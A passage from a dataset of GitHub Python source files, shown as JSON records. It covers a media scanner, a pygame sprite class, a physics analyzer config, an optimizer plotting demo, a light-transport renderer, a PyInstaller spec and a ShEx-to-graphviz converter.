savechecksum=True):\n    \"\"\"\n    Examine file: obtain filesystem stats, checksum, ownership; file/path are parsed\n    and episode number, season, and series title extracted; file examined with\n    mediainfo and container, video, audio, subtitle track info, and chapter data extracted\n    \"\"\"\n    dasc = {}\n\n    # get file parts\n    xvreal = rfile\n    tdir, xv = os.path.split(xvreal)\n    xvbase, xvext = os.path.splitext(xv)\n\n    # get base & parent dir names\n    tdir_base = os.path.split(tdir)[1]\n    tdir_parent = os.path.split(os.path.split(tdir)[0])[1]\n\n    logthis(\"Examining file:\", suffix=xv, loglevel=LL.INFO)\n    tstatus('scanfile', event='start', filename=xv)\n\n    # Get xattribs\n    fovr = {}\n    fovr.update(ovrx)\n    fovr.update(parse_xattr_overrides(xvreal))\n    if fovr.has_key('ignore'):\n        logthis(\"File has 'ignore' flag set via override; skipping\", loglevel=LL.INFO)\n        return False\n\n    # Get file path information\n    dasc['dpath'] = {'base': tdir_base, 'parent': tdir_parent, 'full': tdir}\n    dasc['fpath'] = {'real': xvreal, 'base': xvbase, 'file': xv, 'ext': xvext.replace('.', '')}\n\n    # Stat, Extended Attribs, Ownership\n    dasc['stat'] = util.dstat(xvreal)\n    dasc['owner'] = {'user': util.getuser(dasc['stat']['uid']), 'group': util.getgroup(dasc['stat']['gid'])}\n\n    # Modification key (MD5 of inode number + mtime + filesize)\n    mkey_id = util.getmkey(dasc['stat'])\n    dasc['mkey_id'] = mkey_id\n\n    # Determine file status (new, unchanged, or file unchanged but moved/renamed)\n    xzist = mdb.mkey_match(mkey_id, xvreal)\n    if xzist == MCMP.RENAMED:\n        xstatus = DSTS.RENAMED\n    elif xzist == MCMP.NOCHG:\n        xstatus = DSTS.UNCHANGED\n    else:\n        xstatus = DSTS.NEW\n\n    dasc['status'] = xstatus\n\n    # Check status and carry on as needed\n    if xstatus == DSTS.UNCHANGED:\n        logthis(\"File unchanged:\", suffix=xv, loglevel=LL.INFO)\n        if mforce:\n            logthis(\"File unchanged, but scan forced. Flag --mforce in effect.\", loglevel=LL.WARNING)\n        else:\n            return False\n\n    # Retrieve or caclulate checksums\n    if fovr.has_key('md5') and fovr.has_key('ed2k') and fovr.has_key('crc32'):\n        dasc['checksum'] = {'md5': fovr['md5'], 'ed2k': fovr['ed2k'], 'crc32': fovr['crc32']}\n        logthis(\"Using checksum information from extended file attributes\", loglevel=LL.VERBOSE)\n    else:\n        if not nochecksum:\n            logthis(\"Calculating checksum...\", loglevel=LL.INFO)\n            dasc['checksum'] = util.checksum(xvreal)\n            if savechecksum:\n                save_checksums(xvreal, dasc['checksum'])\n\n    # Get mediainfo\n    dasc['mediainfo'] = util.mediainfo(xvreal, config)\n\n    # Determine series information from path and filename\n    dasc['fparse'], dasc['tdex_id'] = parse_episode_filename(dasc, fovr)\n\n    # Record last time this entry was updated (UTC)\n    last_up = arrow.utcnow().timestamp\n    logthis(\"last_updated =\", suffix=last_up, loglevel=LL.DEBUG)\n    dasc['last_updated'] = last_up\n\n    return dasc\n\n\ndef parse_episode_filename(dasc, ovrx={}, single=False, longep=False):\n    \"\"\"\n    Determines series name, season, episode, and special release data from\n    episode filenames and directory path. Outputs the data as the 'fparse' array.\n    \"\"\"\n    fparse = {'series': None, 'season': None, 'episode': None, 'special': None}\n    tdex_id = None\n    dval = dasc['fpath']['base']\n\n    # Regex matching rounds\n    for rgx in fregex:\n        logthis(\"Trying regex:\", suffix=rgx, loglevel=LL.DEBUG2)\n        mm = re.search(rgx, dval, re.I)\n        if mm:\n            mm = mm.groupdict()\n            # determine series name\n            if mm.has_key('series'):\n                if not single:\n                    ldist = distance.nlevenshtein(dasc['dpath']['base'].lower(), mm['series'].lower())\n                    if ldist < 0.26:\n                        sser = filter_fname(dasc['dpath']['base'])\n                        logthis(\"Using directory name for series name (ldist = %0.3f)\" % (ldist), loglevel=LL.DEBUG)\n                    else:\n                        sser = filter_fname(mm['series'])\n                        logthis(\"Using series name extracted from filename (ldist = %0.3f)\" % (ldist), loglevel=LL.DEBUG)\n                else:\n                    sser = filter_fname(mm['series'])\n                    logthis(\"Using series name extracted from filename\", loglevel=LL.DEBUG)\n            else:\n                # Check base directory name; if it has the season number or season name\n                sspc = re.match(r'(season|s)\\s*(?P<season>[0-9]{1,2})', dasc['dpath']['base'], re.I)\n                if sspc:\n                    # Grab series name from the parent directory; tuck the season number away for later\n                    sspc = sspc.groupdict()\n                    mm['season'] = sspc['season']\n                    sser = dasc['dpath']['parent']\n                else:\n                    # Directory name should be series name (if you name your directories properly!)\n                    sser = dasc['dpath']['base']\n\n            # Parse out the fansub group name\n            if mm.get('fansub', None) is not None:\n                fansub = mm['fansub'].strip()\n            else:\n                fansub = None\n\n            # Grab season name from parsed filename; if it doesn't exist, assume Season 1\n            snum = mm.get('season', '1')\n            if snum is None: snum = '1'\n\n            # Get episode number\n            epnum = mm.get('epnum', '0')\n            if epnum is None: epnum = '0'\n\n            # Fix episode number, if necessary\n            if not longep:\n                if int(epnum) > 100:\n                    # For numbers over 100, assume SSEE encoding\n                    # (ex: 103 = Season 1, Episode 3)\n                    epnum = int(mm['epnum'][-2:])\n                    snum = int(mm['epnum'][:(len(mm['epnum']) -2)])\n\n            # Get special episode type\n            special = mm.get('special', \"\")\n            if special: special = special.strip()\n\n            # Set overrides\n            if ovrx:\n                if ovrx.has_key('season'):\n                    snum = int(ovrx['season'])\n                    logthis(\"Season set by override. Season:\", suffix=snum, loglevel=LL.VERBOSE)\n\n                if ovrx.has_key('series_name'):\n                    sser = ovrx['series_name']\n                    logthis(\"Series name set by override. Series:\", suffix=sser, loglevel=LL.VERBOSE)\n\n                if ovrx.has_key('fansub'):\n                    fansub = ovrx['fansub']\n                    logthis(\"Fansub group set by override. Fansub:\", suffix=fansub, loglevel=LL.VERBOSE)\n\n            logthis(\"Matched [%s] with regex:\" % (dval), suffix=rgx, loglevel=LL.DEBUG)\n            logthis(\"> Ser[%s] Se#[%s] Ep#[%s] Special[%s] Fansub[%s]\" % (sser, snum, epnum, special, fansub), loglevel=LL.DEBUG)\n\n            # Build output fparse array\n            fparse = {'series': sser, 'season': int(snum), 'episode': int(epnum), 'special': special, 'fansub': fansub}\n\n            # Add series to tdex\n            tdex_id = mdb.series_add(sser, ovrx)\n\n            break\n\n    return (fparse, tdex_id)\n\n\ndef filter_fname(fname):\n    \"\"\"\n    Take an input title string that was extracted from a filename, and\n    if there are more periods or underscores than spaces, then replace them\n    (underscores or periods) with spaces.\n    \"\"\"\n    # Count number of spaces, periods, and underscores\n    spc = fname.count(' ')\n    spd = fname.count('.')\n    spu = fname.count('_')\n\n    # No spaces? Something's up\n    if spc == 0:\n        if spd > spu:\n            nout = fname.replace('.', ' ')\n        else:\n            nout = fname.replace('_', ' ')\n        # fix double-spaces\n        nout = nout.replace('  ', ' ')\n    else:\n        # return without changes\n        nout = fname\n\n    return fname\n\n\ndef save_checksums(fname, chksums):\n    \"\"\"\n    Save checksums to xattribs\n    \"\"\"\n    ox = {\n            'checksum.md5': chksums.get('md5', ''),\n            'checksum.ed2k': chksums.get('ed2k', ''),\n            'checksum.crc32': chksums.get('crc32', '')\n         }\n    logthis(\"Setting checksum xattribs:\", suffix=ox, loglevel=LL.DEBUG)\n    fsutil.xattr_set(fname, ox)\n\n\nxaov_map = {\n                'media.seriesname': \"series_name\",\n                'media.season': \"season\",\n                'media.episode': \"episode\",\n                'media.xref.tvdb': \"tvdb_id\",\n                'media.xref.mal': \"mal_id\",\n                'media.fansub': \"fansub\",\n                'checksum.md5': \"md5\",\n                'checksum.ed2k': \"ed2k\",\n                'checksum.crc32': \"crc32\",\n                'checksum.sha1': \"sha1\",\n                'xbake.ignore': \"ignore\",\n                'xbake.tdex': \"tdex\"\n            }\n\ndef parse_xattr_overrides(xpath):\n    \"\"\"\n    Parse overrides from extended file attributes\n    \"\"\"\n    xrides = {}\n    xatr = fsutil.xattr_get(xpath)\n\n    for xk, xv in xatr.iteritems():\n        if xaov_map.has_key(xk):\n            logthis(\"Got override from xattrib [user.%s]: %s ->\" % (xk, xaov_map[xk]), suffix=xv, loglevel=LL.VERBOSE)\n            xrides[xaov_map[xk]] = xv\n\n    return xrides\n\n\ndef parse_overrides(xpath):\n    \"\"\"\n    Parse overrides file (./.xbake)\n    This is a JSON file with special settings for a particular directory.\n    Settings include: File ignore list, Series name, tvdb series ID,\n    and season number\n    \"\"\"\n    xfile = os.path.realpath(xpath + \"/\" + '.xbake')\n    xrides = {}\n    if os.path.exists(xfile):\n        logthis(\"Overrides persent for this directory. Parsing file:\", suffix=xfile, loglevel=LL.VERBOSE)\n        try:\n            with codecs.open(xfile, 'r', 'utf-8') as f:\n                xrides = json.load(f)\n            logthis(\"Parsed overrides successfully:\\n\", suffix=print_r(xrides), loglevel=LL.DEBUG)\n        except IOError as e:\n            logexc(e, \"Failed to read overrides file\")\n        except UnicodeDecodeError as e:\n            logexc(e, \"Failed to decode overrides file (%s)\" % (xfile))\n        except ValueError as e:\n            logexc(e, \"Failed to parse JSON from overrides file\")\n    else:\n        logthis(\"No overrides for this directory. File does not exist:\", suffix=xfile, loglevel=LL.DEBUG)\n    return xrides\n\n\ndef check_overrides(ovx, cfile):\n    \"\"\"\n    Check override ignore list for matches.\n    Return: True if match (file should be skipped/ignored)\n            False if no match (file should be processed as usual)\n    \"\"\"\n    if isinstance(ovx, list):\n        if 'ignore' in ovx:\n            for ii in ovx['ignore']:\n                if unicode(ii) == unicode(cfile):\n                    return True\n    return False\n\n\ndef clean_overrides(ovrx):\n    \"\"\"\n    Remove unnecessary keys from overrides structure; return new cleaned copy\n    \"\"\"\n    ovrx_sub = util.deepcopy(ovrx)\n    if 'ignore' in ovrx_sub: del(ovrx_sub['ignore'])\n    if 'md5' in ovrx_sub: del(ovrx_sub['md5'])\n    if 'crc32' in ovrx_sub: del(ovrx_sub['crc32'])\n    if 'ed2k' in ovrx_sub: del(ovrx_sub['ed2k'])\n    return ovrx_sub\n","repo_name":"yellowcrescent/xbake","sub_path":"xbake/mscan/mscan.py","file_name":"mscan.py","file_ext":"py","file_size_in_byte":24677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"12062302309","text":"import pygame\nfrom pygame.locals import *\n\nclass GameObject(object):\n    \n    animation_swap_time = 75\n\n    def __init__(self):\n        self.clips = []\n        self.rect  = None\n        self.speed = 0\n        self.image = None  \n\n    def __init__(self, imgPath): \n        self.speed = 0\n        self.clips = []\n        self.image = pygame.image.load(imgPath)\n        self.rect  = self.image.get_rect()\n        self.current_clip = 0\n\n    def setPos(self, x, y):\n        self.rect.left = x \n        self.rect.top  = y \n\n    def move(self, xspeed, yspeed):\n        self.rect.left += xspeed\n        self.rect.top  += yspeed \n\n    def setImage(self, image):\n        self.image = image \n        self.rect = image.get_rect()\n        self.current_clip = -1\n\n\n    def draw(self):\n        if len(self.clips) == 0:\n            pygame.display.get_surface().blit(self.image, self.rect)\n        else:\n            if self.current_clip == 0:\n                self.rect.width = self.clips[self.current_clip].width\n            self.rect.height = self.clips[self.current_clip].height \n            # print self.clips \n            pygame.display.get_surface().blit(self.image.subsurface(self.clips[self.current_clip]), self.rect)","repo_name":"rfrapp/frogger","sub_path":"GameObject.py","file_name":"GameObject.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21907651204","text":"import os, sys\n\nimport CMGTools.RootTools.fwlite.Config as cfg\n\ndef load():\n    #load the libaries needed\n    from ROOT import gROOT,gSystem\n    gSystem.Load(\"libCintex\")\n    gROOT.ProcessLine('ROOT::Cintex::Cintex::Enable();')\n        \n    #now the RootTools stuff\n    gSystem.Load(\"libCMGToolsExternal\")\n\nload()\n### sys.path.append( '/'.join( [ os.environ['CMSSW_BASE'],\n###                                  'python/CMG/JetIDAnalysis/analyzers'] ))\n\njetAna = cfg.Analyzer(\n    'JetIDAnalyzer',\n    ptCut = 20,\n    ## use pat::Jets\n    ## jetCollection = ('selectedPatJetsAK5','std::vector<pat::Jet>'),\n    jetCollection = ('selectedPatJets','std::vector<pat::Jet>'),\n    ## jetCollection = ('selectedPatJetsPFlow','std::vector<pat::Jet>'),\n    ## or cmg::Jets\n    ## jetCollection = ('cmgPFJetSel','std::vector<cmg::PFJet>'),\n    doJetIdHisto    = True,\n    dumpTree        = False,\n    applyPFLooseId  = True, \n    jetIdMva = ( 0, \"%s/src/CMGTools/External/data/mva_JetID.weights.xml\" % os.getenv(\"CMSSW_BASE\"), \"JetID\" ),\n    ## genJetsCollection =  (\"ak5GenJets\",\"vector<reco::GenJet>\"),\n    genJetsCollection =  ((\"selectedPatJets\",\"genJets\"),\"vector<reco::GenJet>\"),\n    ## genJetsCollection =  ((\"selectedPatJetsPFlow\",\"genJets\"),\"vector<reco::GenJet>\"),\n    useGenLeptons = False,\n)\n","repo_name":"anantoni/CMG","sub_path":"UserArea/JetIDAnalysis/python/JetIDAnalysis.py","file_name":"JetIDAnalysis.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2664069166","text":"##############################################################################\n# 6.1.7 어느 갱신 방법을 이용할 것인가?\n# SGD, 모멘텀, AdaGrad, Adam의 학습 패턴을 비교합니다.\n##############################################################################\n\nimport sys,os\nsys.path.append(os.pardir)  # 부모 디렉터리의 파일을 가져올 수 있도록 설정\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom collections import OrderedDict\nfrom common.optimizer import *\n\n\n# 함수 f\ndef f(x, y):\n    return x ** 2 / 20.0 + y ** 2\n\n\n# f의 미분 함수\ndef df(x, y):\n    return x / 10.0, 2.0 * y\n\ninit_pos = (-7.0, 2.0)\n\n\n# 초기화\nparams = {}\nparams['x'], params['y'] = 0, 0\ngrads = {}\ngrads['x'], grads['y'] = 0, 0\n\n\n\"\"\"Optimezer 별로 학습 패턴 비교\"\"\"\noptimizers = OrderedDict()\noptimizers[\"SGD\"] = SGD(lr=0.95)\noptimizers[\"Momentum\"] = Momentum(lr=0.1)\noptimizers[\"AdaGrad\"] = AdaGrad(lr=1.5)\noptimizers[\"RMSprop\"] = RMSprop(lr=0.2)\n# optimizers[\"Adam\"] = Adam(lr=0.3)\n\n# 크게 10번만 가보자\n# optimizers[\"SGD\"] = SGD(lr=1.05)\n# optimizers[\"Momentum\"] = Momentum(lr=0.8)\n\n# 작게 99번만 가보자\n# optimizers[\"SGD\"] = SGD(lr=0.35)\n# optimizers[\"Momentum\"] = Momentum(lr=0.033)\n\n# 더 작게...\n# optimizers[\"Momentum 0.01\"] = Momentum(lr=0.01)   # 380\n# optimizers[\"Momentum 0.001\"] = Momentum(lr=0.001) # 3500\n\n\nidx = 1\n# optimizer 별로 실행해서 비교해보자\nfor key in optimizers:\n    optimizer = optimizers[key]\n    x_history = []\n    y_history = []\n    params['x'], params['y'] = init_pos[0], init_pos[1]  # x와 y 초기값 설정\n\n    # 30회 반복\n    for i in range(30):\n        x_history.append(params['x'])\n        y_history.append(params['y'])\n\n        # 기울기 구하기\n        grads['x'], grads['y'] = df(params['x'], params['y'])   # 미분\n\n        # 기울기 최적화 업데이트\n        #   - 예)     초기값 세팅된 1회 : params: {'x': -7.0, 'y': 2.0} & grads : {'x': 0, 'y': 0}\n        #   - 예) 최적화 업데이트 후 2회 : params: {'x': -5.5, 'y': 0.5} & grads : {'x': -0.7, 'y': 4.0}\n        #         ...\n        optimizer.update(params, grads)\n\n    # x축과 y축의 값\n    x = np.arange(-10, 10, 0.01)  # -10 <= x < 10 (0.01 만큼씩) : x: [-10. - 9.99 - 9.98...   9.97   9.98   9.99]\n    y = np.arange(-5, 5, 0.01)    #  -5 <= y <  5 (0.01 만큼씩) : y: [ -5. - 4.99 - 4.98...   4.97   4.98   4.99]\n\n    # x축을 나타내는 점들, y축을 나타내는 점들 => 하나의 그리드\n    X, Y = np.meshgrid(x, y)\n    # 최적화된 기울기를 함수 f 결과 값\n    Z = f(X, Y)\n\n    # 외곽선 단순화\n    mask = Z > 7\n    Z[mask] = 0  # 결과값 중 7보다 큰 것을(True) 0으로 masking.\n\n    # 그래프 그리기 (2 X 2, )\n    plt.subplot(2, 2, idx)\n    idx += 1\n    plt.plot(x_history, y_history, 'o-', color=\"red\")\n    plt.contour(X, Y, Z)    # X, Y, Z 윤곽 표시 (등고선)\n    plt.ylim(-10, 10)\n    plt.xlim(-10, 10)\n    plt.plot(0, 0, '+')  # (0,0) 위치 표시\n    # colorbar()\n    # spring()\n    plt.title(key)\n    plt.xlabel(\"x\")\n    plt.ylabel(\"y\")\n\nplt.show()","repo_name":"sooyoungkim/flipped-deep-learning-from-scratch","sub_path":"ch06/optimizer_compare_naive.py","file_name":"optimizer_compare_naive.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33480789786","text":"from scipy.io import loadmat\nimport h5py  # tables  # or\nimport numpy as np\nimport os\nimport torch\nimport pickle\n\nclass RenderWithTransportMat():\n\n    def __init__(self, transportMatFname, lightHeight, doHalfMat=True):\n        self.transportMatFname = transportMatFname\n        self.mat_ImgHeight = lightHeight\n        # self.renderHeight = renderHeight\n\n        self.doHalfMat = doHalfMat\n\n        self.matT, self.maskT = self.load()\n        # self.renderVectors = None\n\n    def load(self):\n        typeMat = 'half' if self.doHalfMat else 'full'\n        # print('[Render]loading: %s' % (os.path.split(self.transportMatFname)[1]))\n        assert os.path.exists(self.transportMatFname), 'FileNotFound %s' % self.transportMatFname\n        ext = os.path.split(self.transportMatFname)[1].split('.')[-1]\n        if ext == 'mat':\n            try:\n                mat = loadmat(self.transportMatFname)\n                matT = mat['T'].astype('float32')\n                maskT = mat['mask'].astype('bool')\n            except NotImplementedError:\n                mat = h5py.File(self.transportMatFname, 'r')\n                matT = mat.get('T')[:].astype('float32').transpose()\n                maskT = mat.get('mask')[:].astype('bool').transpose()\n                mat.close()\n        elif ext == 'pkl':\n            with open(self.transportMatFname, 'rb') as infile:\n                mat = pickle.load(infile)\n                matT = mat['T'].astype('float32')\n                maskT = mat['mask'].astype('bool')\n        elif ext == 'msgpack':\n            import lz4.frame, msgpack, msgpack_numpy\n            from functools import partial\n            lz4open = partial(lz4.frame.open, block_size=lz4.frame.BLOCKSIZE_MAX1MB,\n                            compression_level=lz4.frame.COMPRESSIONLEVEL_MIN)\n            with lz4open(self.transportMatFname, \"rb\") as infile:\n                raw = infile.read()\n                mat = msgpack.unpackb(raw, object_hook=msgpack_numpy.decode, max_str_len=2**32-1)\n                matT = mat[b'T'].astype('float32')\n                maskT = mat[b'mask'].astype('bool')\n        # matT.shape == [r*r, eH*eW]\n        return matT, maskT\n\n    def rendering(self, ims, dst='vector'):\n        if type(ims).__module__.find('numpy') >= 0:\n            if self.doHalfMat:\n                ims = ims.astype('float32')\n                H = ims.shape[1]\n                ims = ims[:, 0: H // 2, :, :]\n                render_vector = self.renderingNP(ims)\n                if dst == 'vector':\n                    out = render_vector\n                elif dst == 'image':\n                    out = self.reshapeNP(render_vector)\n            return out\n        elif type(ims).__module__.find('torch') >= 0:\n            if self.doHalfMat:\n                H = self.mat_ImgHeight\n                ims = ims[:, 0: H // 2, :, :]\n                # print(\"Ims\",ims.shape)\n                render_vector = self.renderingTorch(ims)\n                if dst == 'vector':\n                    out = render_vector\n                elif dst == 'image':\n                    # print(\"Render\", render_vector.shape)\n                    out = self.reshapeTorch(render_vector)\n                    out = out.permute(0,3,1,2)\n                    # print(\"Out \", out.shape)\n            return out\n\n    def renderingTorch(self, ims):\n        matT = torch.Tensor(self.matT).to(ims.device)\n        nPixels = matT.shape[0]\n        N, H, W, C = ims.shape\n        assert H * W == matT.shape[1], '[ERROR] transportMat %d doesn\\'t match image size %d' % (H * W, matT.shape[1])\n\n        # operation from matlab, reshape in column order\n        ims = ims.permute([0, 2, 1, 3])\n        lights = ims.contiguous().view((-1, H * W, C))  # [N, #pixel, C]\n        # transpose and reshape\n        lightsT = lights.permute([1, 0, 2])  # [W*H, N, C]\n        lightsTR = lightsT.contiguous().view([W * H, -1])  # [W*H, N*C]\n        vectors = torch.matmul(matT, lightsTR)  # [#pixel, W*H] x [W*H, N*C)] -> [#pixel, N*C]\n        vectors = vectors.view([nPixels, -1, C])  # [#pixel, N, C]\n        vectors = vectors.permute([1, 0, 2])  # [N, #pixel, C]\n        renderVectors = vectors\n        return renderVectors\n\n    def _reshapeTorch(self, tl_WHxC):\n        # todo batch reshape\n        C = tl_WHxC.shape[1]\n        img = torch.zeros((self.maskT.shape[0], self.maskT.shape[1], C)).to(tl_WHxC.device)\n        # img[torch.Tensor(self.maskT.astype(int)).nonzero()] = tl_WHxC. # non differentiable\n        img[torch.Tensor(self.maskT.astype(int)).to(tl_WHxC.device) == 1] = tl_WHxC\n        \n        img = img.permute([1, 0, 2])\n        return img\n\n    def reshapeTorch(self, renderVectors):\n        N = renderVectors.shape[0]\n        ims = [self._reshapeTorch(renderVectors[i]) for i in range(N)]\n        return torch.stack(ims)\n\n    def renderingNP(self, ims):\n        matT = self.matT\n        nPixels = matT.shape[0]\n        N, H, W, C = ims.shape\n        assert H * W == matT.shape[1], '[ERROR] transportMat %d doesn\\'t match image size %d' % (H * W, matT.shape[1])\n\n        # operation from matlab, reshape in column order\n        ims = np.transpose(ims, axes=[0, 2, 1, 3])\n        lights = np.reshape(ims, (-1, H * W, C))  # [N, #pixel, C]\n        # transpose and reshape\n        lightsT = np.transpose(lights, axes=[1, 0, 2])  # [W*H, N, C]\n        lightsTR = np.reshape(lightsT, [W * H, -1])  # [W*H, N*C]\n        vectors = np.matmul(matT, lightsTR)  # [#pixel, W*H] x [W*H, N*C)] -> [#pixel, N*C]\n        vectors = np.reshape(vectors, [nPixels, -1, C])  # [#pixel, N, C]\n        vectors = np.transpose(vectors, axes=[1, 0, 2])  # [N, #pixel, C]\n        renderVectors = vectors\n        return renderVectors\n\n    def _reshapeNP(self, tl_WHxC):\n        # todo batch reshape\n        C = tl_WHxC.shape[1]\n        img = np.zeros((self.maskT.shape[0], self.maskT.shape[1], C))\n        img[self.maskT] = tl_WHxC\n        img = np.ndarray.transpose(img, [1, 0, 2])\n        return img\n\n    def reshapeNP(self, renderVectors):\n        N = renderVectors.shape[0]\n        ims = [self._reshapeNP(renderVectors[i]) for i in range(N)]\n        return np.asarray(ims)\n\n    def render_top_down(self, img,chw=True):\n        if chw:\n            img = img.permute(0,2,3,1)\n        if type(img).__module__.find('numpy') >= 0:\n            reverse_img = np.flip(img, [1])\n\n        elif type(img).__module__.find('torch') >= 0:\n            reverse_img = torch.flip(img, [1])\n        else :\n            print('[ERROR] Input img is neither torch nor numpy')\n\n        return {\"top\" : self.rendering(img, dst='image'), \"bottom\": self.rendering(reverse_img, dst='image')}\n\ndef example():\n    import time\n    im_h = 256\n    img_dim = 64\n    rtm = RenderWithTransportMat(transportMatFname='transportMat.BumpySphereMiddle.top.e64.r64.half.mat', lightHeight=img_dim, doHalfMat=True)\n    ims = np.ones([256, img_dim, img_dim*2, 3])\n    print(ims.shape)\n    # ims shape = [b,h,w,c]\n    # pred shape = [b,c,h,w]\n\n    # pred = [256,512]\n    # pred = [64,128] = > [32,128]*2\n    # what it wants = [128,64]=> [64,64]*2\n    p = rtm.render_top_down(torch.from_numpy(ims).type('torch.FloatTensor'))\n    print(p['top'].shape)\n    print(p['bottom'].shape)\n\nif __name__ == '__main__':\n    import sys\n    print(sys.version)\n    example()","repo_name":"darthgera123/PanoHDR-NeRF","sub_path":"LANet/render_transportmat.py","file_name":"render_transportmat.py","file_ext":"py","file_size_in_byte":7239,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"}
{"seq_id":"29508889198","text":"# -*- mode: python ; coding: utf-8 -*-\n\n\nblock_cipher = None\n\nadded_files = [('.env', '.'),('*.py','.')]\na = Analysis(['esriOverwrite.py'],\n             pathex=[],\n             binaries=[],\n             datas=added_files,\n             hiddenimports=[\"requests_ntlm\",\"arcgis\", \"pyodbc\", \"sqlalchemy\", 'dotenv', 'tqdm'],\n             hookspath=[],\n             hooksconfig={},\n            runtime_hooks=[],\n            excludes=['arcpy'],\n             win_no_prefer_redirects=False,\n             win_private_assemblies=False,\n             cipher=block_cipher,\n             noarchive=False)\na.datas += Tree('./arcgis', prefix='arcgis')\npyz = PYZ(a.pure, a.zipped_data,\n             cipher=block_cipher)\n\nexe = EXE(pyz,\n          a.scripts, \n          [],\n          exclude_binaries=True,\n          name='esriOverwrite',\n          debug=False,\n          bootloader_ignore_signals=False,\n          strip=False,\n          upx=True,\n          console=True,\n          disable_windowed_traceback=False,\n          target_arch=None,\n          codesign_identity=None,\n          entitlements_file=None )\ncoll = COLLECT(exe,\n               a.binaries,\n               a.zipfiles,\n               a.datas, \n               strip=False,\n               upx=True,\n               upx_exclude=[],\n               name='esriOverwrite')\n","repo_name":"Brian-Fairbanks/PandaReporting","sub_path":"esriOverwrite.spec","file_name":"esriOverwrite.spec","file_ext":"spec","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"34439341694","text":"import graphviz\nfrom ShExJSG.ShExJ import IRIREF, TripleConstraint, NodeConstraint, ObjectLiteral\nfrom pyshex.utils.schema_loader import SchemaLoader\n\nsymbol = {\n    \"class\": \"oval\",\n    \"datatype\": \"octagon\",\n    \"literal\": \"rectangle\",\n    \"iri\": \"diamond\",\n    \"bnode\": 'point',\n    \"oneof\": 'record'\n}\n\n\ndef shex2dot(shex, graphviz_name=\"default.png\", rankdir=\"LR\"):\n    def process_tc(tc):\n        dotschema.node(startshape.replace(\":\", \"\"), startshape, shape=symbol[\"iri\"])\n        if isinstance(tc, TripleConstraint):\n            if tc.max == None and tc.min == None:\n                arrowhead = \"normal\"\n            elif tc.max == 1 and tc.min == 0:\n                arrowhead = \"teeodot\"\n            elif tc.max == -1 and tc.min == 1:\n                arrowhead = \"crowtee\"\n            elif tc.max == -1 and tc.min == 0:\n                arrowhead = \"crowdot\"\n            if isinstance(tc.valueExpr, IRIREF):\n                node = tc.valueExpr\n                predicate = tc.predicate\n                for key in prefixmap.keys():\n                    node = node.replace(key, prefixmap[key])\n                    predicate = predicate.replace(key, prefixmap[key] + \":\")\n                dotschema.node(node, node, shape=symbol[\"iri\"])\n                dotschema.edge(shape.id.split(\"/\")[-1], node, label=predicate, arrowhead=arrowhead)\n            elif isinstance(tc.valueExpr, NodeConstraint):\n                if tc.valueExpr.datatype:\n                    datatype = tc.valueExpr.datatype\n                    predicate = tc.predicate\n                    for key in prefixmap.keys():\n                        datatype = datatype.replace(key, prefixmap[key] + \":\")\n                        predicate = predicate.replace(key, prefixmap[key] + \":\")\n                    dotschema.node(\n                        shape.id.split(\"/\")[-1] + tc.valueExpr.datatype.split(\"/\")[-1] + tc.predicate.split(\"/\")[-1],\n                        datatype, shape=symbol[\"datatype\"])\n                    dotschema.edge(shape.id.split(\"/\")[-1],\n                                   shape.id.split(\"/\")[-1] + tc.valueExpr.datatype.split(\"/\")[-1] +\n                                   tc.predicate.split(\"/\")[\n                                       -1], label=predicate, arrowhead=arrowhead)\n                elif tc.valueExpr.values:\n                    oneofs = []\n                    predicate = tc.predicate\n                    for value in tc.valueExpr.values:\n                        if isinstance(value, ObjectLiteral):\n                            oneofs.append(value.value)\n                        else:\n                            for key in prefixmap.keys():\n                                try:\n                                    value = value.replace(key, prefixmap[key] + \":\")\n                                except:\n                                    value = \"a\"\n                            oneofs.append(value)\n                    for key in prefixmap.keys():\n                        predicate = predicate.replace(key, prefixmap[key] + \":\")\n                    dotschema.node(\n                        shape.id.split(\"/\")[-1] + \"|\".join(oneofs).replace(\":\", \"\") + tc.predicate.split(\"/\")[-1],\n                        \"{\" + \"|\".join(oneofs) + \"}\", shape=symbol[\"oneof\"])\n                    dotschema.edge(shape.id.split(\"/\")[-1],\n                                   shape.id.split(\"/\")[-1] + \"|\".join(oneofs).replace(\":\", \"\") +\n                                   tc.predicate.split(\"/\")[\n                                       -1], label=predicate)\n\n                elif tc.valueExpr.nodeKind:\n                    dotschema.node(tc.valueExpr.nodeKind, tc.valueExpr.nodeKind.split(\"/\")[-1],\n                                   shape=symbol[tc.valueExpr.nodeKind])\n                    dotschema.edge(shape.id.split(\"/\")[-1], tc.valueExpr.nodeKind.split(\"/\")[-1],\n                                   label=tc.predicate.split(\"/\")[-1], arrowhead=\"teedot\")\n                elif tc.valueExpr.xone:\n\n                    dotschema.node(tc.valueExpr.xone[0].identifier, tc.valueExpr.xone[0].identifier.split(\"/\")[-1],\n                                   shape=symbol[\"oneof\"])\n                    dotschema.edge(shape.id.split(\"/\")[-1], tc.valueExpr.xone[0].identifier.split(\"/\")[-1],\n                                   label=tc.predicate.split(\"/\")[-1], arrowhead=\"teedot\")\n                else:\n                    pass\n                    # print(\"No valueExpr\")\n            else:\n                pass\n                # print(\"No valueExpr\")\n\n    dotschema = graphviz.Digraph(graphviz_name, format=\"png\")\n    dotschema.attr(rankdir=rankdir)\n    prefixmap = dict()\n    for line in shex.splitlines():\n        if line.startswith(\"PREFIX\"):\n            line = line.replace(\"PREFIX\", \"\")\n            prefix, uri = line.split(\": \")\n            prefix = prefix.strip()\n            uri = uri.strip()\n            prefixmap[uri.replace(\"<\", \"\").replace(\">\", \"\")] = prefix\n            dotschema.node(prefix, uri, shape=\"none\", style=\"invis\")\n\n    loader = SchemaLoader()\n    schema = loader.loads(shex)\n\n    for shape in schema.shapes:\n        if id in (dir(shape)):\n            continue\n        startshape = shape.id\n        for key in prefixmap.keys():\n            startshape = startshape.replace(key, prefixmap[key] + \":\")\n        